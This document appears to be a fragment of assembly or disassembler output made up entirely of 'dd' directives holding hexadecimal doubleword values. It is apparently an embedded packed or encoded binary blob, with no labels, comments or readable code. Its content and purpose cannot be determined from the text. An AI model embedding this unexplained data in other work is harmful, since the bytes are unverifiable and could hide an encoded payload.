		dd 0C0F78498h, 3000540h, 8788021h, 0E8F0110h, 0EAA90750h
		dd 0FE09BBC1h, 0E9D260CAh, 0B1793113h, 2078E700h, 3E429C7Ah
		dd 8880C6C1h, 0C0219829h, 832E084Eh, 2D00F9FAh,	2E10BD87h
		dd 40B73F95h, 96DFA6h, 5B0799F3h, 6DEE9118h, 3AEA29F4h
		dd 454CB190h, 0CC51007Bh, 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h
		dd 875C1175h, 88649002h, 0E353798Ch, 42123C7Eh,	31BCECBCh
		dd 0C3431C8Fh, 4C442000h, 84790F3Ch, 18937C0Eh,	804D4F22h
		dd 896F5C91h, 0B440016Dh, 290E5228h, 7972E820h,	22351803h
		dd 0B985ADF4h, 8AE04B2Dh, 302C0ED4h, 0DC60A9D3h, 32FC3143h
		dd 33F98700h, 0F124E50Bh, 0F57C03CBh, 0A7133026h, 0C13B7B98h
		dd 32A9201Eh, 3342F680h, 3955E8h, 6F1D6B6Eh, 71205B77h
		dd 0F43AA702h, 0C075304Ah, 76968CBh, 587F8470h,	0C3E4435Ch
		dd 6007E8C3h, 0EC100146h, 6404B290h, 0F0F251h, 725411D8h
		dd 736E6103h, 74656D00h, 437C19B6h, 775727Bh, 0DC34916Fh
		dd 54CC429Dh, 8AABD540h, 320B9501h, 5C19580Ch, 0F8EB60D1h
		dd 984662A5h, 0C627018Eh, 86774B85h, 2370E80Eh,	72116F01h
		dd 75C47488h, 0F2C7E0h,	3641378h, 45287C14h, 780521Fh
		dd 0DC008496h, 0E8C0C68Fh, 570400ABh, 32517353h, 76765652h
		dd 0FAB32F04h, 218068DBh, 1624884h, 17A915Dh, 0EC18203Ah
		dd 0FC1C89A2h, 3C5FA468h, 559F8CC0h, 4D0390h, 0C87D8194h
		dd 716E6547h, 1B6F7500h, 1E69EF12h, 90493B9Eh, 0AF942785h
		dd 70FE808Dh, 331F8471h, 41C069EBh, 0D6874F9h, 94101C38h
		dd 0A3634724h, 30451ABh, 9152E4EBh, 3C755803h, 90784989h
		dd 772D5C0Fh, 8E8F0733h, 102A6461h, 0EB024124h,	8248110Eh
		dd 0F8832080h, 9565095h, 0B657E90Eh, 0A524807Dh, 0D0FDC2h
		dd 9CBD2A2Fh, 8C463F4Fh, 1A029100h, 0B0ACB878h,	0F2957622h
		dd 0E85D0088h, 0DD27771Fh, 0C1007B69h, 873DF441h, 50D3622h
		dd 3E25C889h, 4B8C042h,	0F03F6373h, 80C3BB84h, 0E0833074h
		dd 88480Fh, 0D9E5D553h,	0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch
		dd 0A41FB022h, 2F3077Fh, 30B62A12h, 1A93867h, 59510A0Fh
		dd 658FA0B8h, 1C1745FEh, 7F06BD80h, 5FC1759Eh, 40A21D66h
		dd 5121DD84h, 43008D8Ah, 2B52A19h, 0CB7516h, 69307659h
		dd 80E06704h, 0E9E46D00h, 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah
		dd 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah, 557097D5h, 0E53E901Dh
		dd 8F079C5Dh, 5480A808h, 282993h, 915BA5A7h, 45A9664Ah
		dd 5D00067Ah, 0AA4085A6h, 4B829AEh, 2B641F03h, 0B6AB8072h
		dd 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h, 83CA81C6h, 8705E0CEh
		dd 18ED009Ah, 4C331E45h, 48000666h, 10EBC1F6h, 18F44E0Fh
		dd 0AECF25AAh, 4301B738h, 1E3F7EA1h, 0E1D08A11h, 30AEE96h
		dd 5A607CB1h, 45A8C5EAh, 157AE66Bh, 0ACE22A1Fh,	0DE0F5280h
		dd 16ABA8D2h, 35EEC80h,	5B7A592Ah, 19CD58A8h, 8C55D800h
		dd 0E89F51B9h, 0B7280016h, 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh
		dd 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h, 44008874h
		dd 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h,	0EBB0404Bh
		dd 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h, 0B4114E6Ch
		dd 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh, 0C000BEA0h
		dd 7D258D13h, 73B30A2h,	0B5F8FB8Bh, 0C0FA67A3h,	22C33657h
		dd 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh,	87002C45h
		dd 597E294Bh, 1184A1Bh,	0BA9444CBh, 0F732B937h,	78921207h
		dd 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h,	285C0CFCh
		dd 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h, 0BA2DC935h
		dd 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h, 8771D7D4h
		dd 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h, 0D3FB1F55h
		dd 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h,	2AE15B18h
		dd 0A4EFB0h, 98CE92BFh,	7E591277h, 0B409C401h, 25A656A3h
		dd 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h
		dd 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah
		dd 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h,	0FA96DE5h
		dd 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h
		dd 391048BCh, 0CC00059h, 0C4908529h, 156719C8h,	54F02006h
		dd 722CCh, 3209D081h
		dd 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h
		dd 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h,	0D27E9564h
		dd 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh
		dd 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h,	5C1A0102h
		dd 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h
		dd 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h
		dd 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h
		dd 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h,	80FD0001h
		dd 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h,	40C683D1h
		dd 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh,	580203F5h
		dd 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh,	0EF07A4Ah
		dd 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h,	8833022Bh
		dd 75080042h, 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h
		dd 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h,	1D2A38D2h
		dd 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h
		dd 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh
		dd 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h,	0DDEBBD51h
		dd 703AC70h, 44BCCCF7h,	78E6304Bh, 11007F6Fh, 64DFCEE9h
		dd 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh
		dd 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h
		dd 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h, 3400AA11h
		dd 6A9488F3h, 0ABCF4Fh,	54801B6Ch, 7765AD7Bh, 31C56800h
		dd 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh
		dd 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h, 1975809Ah
		dd 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h, 5F0B0879h
		dd 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah,	2224CA1Dh
		dd 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h, 6918A4E4h
		dd 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh, 6D6F431Ch
		dd 34876500h, 712C0A73h, 880B39ECh, 0C170C400h,	0D34E7909h
		dd 8064523Fh, 2BD01884h, 0BA40F22h, 28447291h, 4C9D7B80h
		dd 0D30E3770h, 0E0D8A5BBh, 25876C33h, 927900DEh, 12633018h
		dd 0C848D48Bh, 0ACBC00F4h, 178DB6C4h, 0E031FAC2h, 0ECB2002Fh
		dd 69540BCAh, 0EA0F4556h, 24985980h, 0A2800C89h, 0B87212h
		dd 56AD536Ch, 30C88ADCh, 0E445400h, 6765354Ch, 0E109005Ah
		dd 0C95BC370h, 4B017468h, 0E0F82930h, 27D8ABF2h, 87640018h
		dd 6BC58E6Dh, 0C8F72873h, 0B200D142h, 0B14F2610h, 9055E5h
		dd 947AC427h, 814475Ah,	0D6D18001h, 0EA25F46h, 6016CCh
		dd 295CC595h, 2EB06488h, 90E34B16h, 0DCC47F00h,	7C44D148h
		dd 0ABF07EDh, 40B36965h, 12B47542h, 806C643Fh, 30D2520Ch
		dd 72EB8F6h, 14257669h,	8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh
		dd 0D7F8D4C6h, 31A1866h, 88104619h, 0C8064301h,	1890141Bh
		dd 2E9104E0h, 73A381Ch,	50AE961Ah, 0D27CB865h, 29339F00h
		dd 13AB9C4Ah, 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h
		dd 53588011h, 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh
		dd 0F80BF0BFh, 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch
		dd 0EDBBC044h, 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h
		dd 0AE3D4FFBh, 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h
		dd 0F188A18Bh, 5562D0h,	9C01451Bh, 0D35B279Fh, 80FB1D3Ah
		dd 504108D1h, 32A5251h,	0EB1069ECh, 588864C2h, 3C00B3EAh
		dd 5E575684h, 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh
		dd 0BF2B0Fh, 8E1F3EACh,	471000Bh, 0FD27CCFEh, 5F01AF12h
		dd 38EA1CD1h, 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h
		dd 470EC322h, 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h
		dd 298BB6B8h, 69DE7503h, 0FA99554Bh, 3654E00Ch,	2B4300AFh
		dd 0A5D4459Fh, 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h
		dd 8043DE0Eh, 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh
		dd 0F03B7D8Eh, 0C0E0047h, 7E2146D2h, 0A1ED4A7h,	5000D76Ch
		dd 0DEC8D5A6h, 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h
		dd 686C6Ah, 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h
		dd 0C26A00F0h, 4FDF77E3h, 290024ABh, 48165D4Bh,	0B00C06C3h
		dd 0CE090C9Ch, 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h
		dd 1184872h, 6CC1EBCEh,	595C2300h, 0E26A90E5h, 3A8100A0h
		dd 2E1977D0h, 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh
		dd 0FFB09281h, 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h
		dd 2E10033h, 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h,	2D6320C4h
		dd 0DCA13C00h, 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h
		dd 5302BB05h, 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h
		dd 7A28AFEh, 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h
		dd 13C144Dh, 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h
		dd 0B95E882Fh, 12760391h, 3B7421BAh, 72FC3AF0h,	6A838C00h
		dd 0C7F2F449h, 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h
		dd 0E698FEh, 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh
		dd 0E0FCADF5h, 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh
		dd 0E681C280h, 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h
		dd 47174A00h, 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh
		dd 81A09E4Ah, 115F00D0h, 0C53B2BF1h, 2C022452h,	0FF6AE477h
		dd 0B6D5E054h, 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h
		dd 0BE0092ADh, 1D8D70EBh, 661A1D98h, 850580D6h,	28215346h
		dd 4D75E207h, 40903E9Ch, 6132CBh, 6F881931h, 0E655697h
		dd 6AE91F05h, 0D60E03AEh, 0C622E005h, 0AB2550h,	121DA511h
		dd 0AF0A5406h, 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah
		dd 5F3B5D62h, 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h
		dd 4E7FDED9h, 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h
		dd 92F53942h, 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah
		dd 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh
		dd 0AA2BBB25h, 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh
		dd 6E0FD4C7h, 5800EF32h, 19F7EAA7h, 0F8BD7076h,	223B00D7h
		dd 2C683603h, 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh
		dd 33CAE055h, 0BD49F300h, 30AE2040h, 17DC0053h,	0E251606Fh
		dd 230722D8h, 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h
		dd 9BCCA251h, 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h
		dd 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh
		dd 1E42B036h, 4303B022h, 148D7A37h, 0E8DBE3ACh,	3EA878D4h
		dd 1FF49C8Bh, 5F4DA4D1h, 884740BDh, 0DEB790A0h,	0C19C4CC8h
		dd 12E74398h, 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh
		dd 7BFD5C4h, 943DA9ACh,	61BBC007h, 40004E70h, 2571626Bh
		dd 3B691C65h, 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h
		dd 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h
		dd 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h
		dd 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h
		dd 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h,	0EE58E276h
		dd 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h,	0DA9057A2h
		dd 8504DC36h
		dd 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h
		dd 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h
		dd 3D83438Ch, 0C9FEA2h,	0ECC28EF4h, 0DBF12124h,	3A14538h
		dd 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h
		dd 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh
		dd 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h
		dd 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h
		dd 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh
		dd 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h
		dd 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h
		dd 478E003Ch, 91342338h, 2C00C830h, 247228E4h, 0E21C2039h
		dd 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h
		dd 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h
		dd 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh
		dd 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h
		dd 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h
		dd 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch
		dd 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h
		dd 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h,	0F8D2B8CCh
		dd 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h,	182B376Ch
		dd 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h,	7998B900h
		dd 28FF6B26h, 0BC2CA6h,	0C7031E14h, 0A406D950h,	7E0CBF1Dh
		dd 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h, 0E4888032h
		dd 8900141Fh, 2E051043h, 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h
		dd 0C6097D60h, 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh
		dd 0F61DC6FBh, 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh
		dd 96700AD8h, 0E7AE3507h, 4FE05A14h, 3E2016ACh,	180A9FBh
		dd 0A897E8ECh, 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h
		dd 0C8ACF047h, 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh
		dd 0FEEC71Dh, 2E35A6A0h, 0BC00C9BFh, 81100540h,	41878h
		dd 7554D7B1h, 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h
		dd 0B204D085h, 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h
		dd 1EF2E074h, 0CCE1A300h, 80ED6A29h, 4B021E2Eh,	0D8AA4016h
		dd 0E2B7428Eh, 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h
		dd 0EE8AC8E0h, 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h
		dd 0C3A00A2Fh, 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h
		dd 3C995C31h, 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh
		dd 0B963398Dh, 4AB68000h, 18201514h, 7AA20C01h,	4352DF90h
		dd 973477E5h, 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h
		dd 59396491h, 0B66E390Ch, 0FE701080h, 131ED48h,	87E86700h
		dd 46BA44Dh, 88E422h, 0A8903419h, 80282429h, 0E0103D02h
		dd 0C0135074h, 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh
		dd 0C139E034h, 2E4E9980h, 92D0006Fh, 40A5C779h,	0D400CF7Fh
		dd 64882238h, 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h
		dd 3F2C8F16h, 1CF5CD4h,	5ABB4A3Ch, 307B71ABh, 8000019Ch
		dd 742DFC78h, 0B8D71Eh,	135DB2A4h, 0DE2F0451h, 4F5A8000h
		dd 0E16A88C6h, 34E252h,	6789D877h, 0E5D7B8A7h, 6500C275h
		dd 2EE19608h, 1E58595Bh, 0BA64354Bh, 825AB501h,	0F4D0D727h
		dd 0F000ADE9h, 0EB3F19A8h, 8AE705h, 0BC84A663h,	5C766AE1h
		dd 0E810C004h, 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h
		dd 8ECE3EFAh, 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h
		dd 4F0B2A51h, 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h
		dd 3C7A9882h, 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h
		dd 64FDBBBAh, 0DF61EB7Fh, 0FE2FF4h, 0B2799554h,	0A7D3A45Ah
		dd 0A35B9800h, 6E200775h, 47741C6Fh, 7B80BC66h,	144450D1h
		dd 45004840h, 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h
		dd 0B498C4A0h, 3B498700h, 92F0D5AFh, 29F700FBh,	0EFE388C5h
		dd 0FC00A23Ch, 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h
		dd 4967C807h, 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh
		dd 62002C03h, 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h
		dd 3CF8F970h, 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h
		dd 0E233545Bh, 8D49D2h,	22F7EE4Dh, 0D5E42878h, 694EF900h
		dd 0F17F7B32h, 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh
		dd 5246204Ch, 1C3AF04Fh, 40885BEDh, 0B047DE9Ah,	1509A1E2h
		dd 14008E4h, 205450DEh,	5E4FE0h, 1CCCA3Ah, 0DD0814E8h
		dd 0D85D8900h, 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh
		dd 0D7D1E500h, 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh
		dd 0AB00E5B4h, 3B63F059h, 3EC3064h, 0C429C314h,	77BB4418h
		dd 0F622CAF0h, 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h
		dd 25B0C1ECh, 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh
		dd 3B42406Eh, 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h
		dd 4612F880h, 6D07C861h, 205C8725h, 0F4FBFFE0h,	88090028h
		dd 7F977553h, 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h
		dd 32B3C9E5h, 0F3781600h, 616CC82Fh, 6E3E0069h,	68631D3Bh
		dd 1F0072D6h, 493DC024h, 2D4F53h, 7535E238h, 4C315639h
		dd 0E21293Dh, 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h
		dd 62382C8Ah, 0F627561Eh, 53F45881h, 97E47D91h,	70830F7Eh
		dd 8525E6C8h, 5FE983C9h, 0B725D5B8h, 1092D400h,	0EC4F6A7Fh
		dd 0D32300B4h, 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h
		dd 4CE7A3B8h, 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h
		dd 3A413CE7h, 881400F3h, 0A484C06Ch, 103F2A8Bh,	8A88F40h
		dd 3839A042h, 701AAF0h,	4A4784Ch, 0F61560AFh, 501C820h
		dd 30C16590h, 0AF81910h, 0F36FE29h, 0CA08C060h,	2D81CC69h
		dd 0F42B2C05h, 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h
		dd 0A560073h, 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h
		dd 0EC37Ch, 0B6D7EBE8h,	8D8157B4h, 320780E2h, 1C54B09Ch
		dd 1E0E405Eh, 0F194E9F5h, 154FD0FBh, 73E3B06Bh,	483C019Ah
		dd 743E7F6h, 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah
		dd 5817DAF9h, 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h
		dd 8D704C52h, 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h
		dd 75488555h, 7D8AF9F6h, 742FE73Fh, 0FEFFF800h,	173EF82h
		dd 2E90B63h, 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h
		dd 0DF034C5Ah, 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h
		dd 0B8BE81DFh, 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h
		dd 1DC095ECh, 750A5B9h,	16294A7Bh, 5FB43025h, 0AB0090EAh
		dd 0C449C60Eh, 1AD93680h, 404C6728h, 8DE959E0h,	8E73297Bh
		dd 592D3Bh, 0FB3AE571h,	4E182Ah, 0C9825CA6h, 0F51A8D89h
		dd 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh
		dd 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch,	61300FB8h
		dd 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h
		dd 26D858Ah, 25ECB5BBh,	18E01844h, 6E00EB2Ch, 0A7D04936h
		dd 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h
		dd 76481730h
		dd 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h
		dd 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h,	0E73ECh
		dd 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h
		dd 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h,	78E9AF74h
		dd 55A7011Dh, 598AC47h,	5C06607Dh, 4B00DAF2h, 2C3E20CEh
		dd 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h
		dd 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h
		dd 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh
		dd 8F100E8Ah, 500A5ECh,	3101B9EDh, 3EA263D5h, 0D803C6Dh
		dd 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h
		dd 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h
		dd 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h
		dd 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h,	0ECE4AF02h
		dd 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h
		dd 5122036Eh, 72710066h, 5660A06Dh, 64002567h, 21F8966Ch
		dd 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h
		dd 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h,	0BA00280Dh
		dd 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h
		dd 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h
		dd 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h
		dd 90B48521h, 3F032ECh,	0D51AC435h, 8BD86CB0h, 0AA3C064Bh
		dd 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh, 951B3C8h
		dd 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h, 42140063h
		dd 50628864h, 8E676973h, 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh
		dd 0A685EF41h, 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h
		dd 434838CFh, 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h
		dd 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h
		dd 4E62B8Eh, 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h
		dd 0D427012Fh, 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h
		dd 1AEC57Ch, 753AAC68h,	0CCA16D48h, 81003CEFh, 266AFBD7h
		dd 0A09C4Ch, 420D312Dh,	2409940Ah, 13C4400h, 6B40716Dh
		dd 3FC50060h, 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h
		dd 9102022Eh, 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h
		dd 8F010h, 8C022249h, 53140446h, 38838001h, 2F26D49Eh
		dd 206A30h, 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h
		dd 0F8D1EAD3h, 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h
		dd 424611ACh, 8771EC0Eh, 20A18E10h, 0E6F5DE14h,	0B394001Ah
		dd 82E8950Fh, 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh
		dd 0B416E421h, 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h
		dd 84DE3388h, 0BAE3C0A2h, 77006355h, 790A9CABh,	1700BF0h
		dd 1B22F34Bh, 0E7EA1415h, 57C0CBC3h, 8500E118h,	0C1A5AEDCh
		dd 3014C210h, 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h
		dd 18E7AE05h, 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h
		dd 1CA4D822h, 95032991h, 0B81A118Bh, 1873884Ch,	0D485020Ah
		dd 0C9A2437h, 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh
		dd 0AC903C29h, 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h
		dd 7C87A684h, 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h
		dd 0B6D9500h, 5B9038Bh,	2B363D96h, 2CDFD400h, 3CD7AD8Eh
		dd 8D711718h, 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h
		dd 8370147h, 218E428Fh,	0C6E5E8h, 7DB15EBDh, 4A8513F2h
		dd 0D70669FCh, 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh
		dd 39717064h, 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h
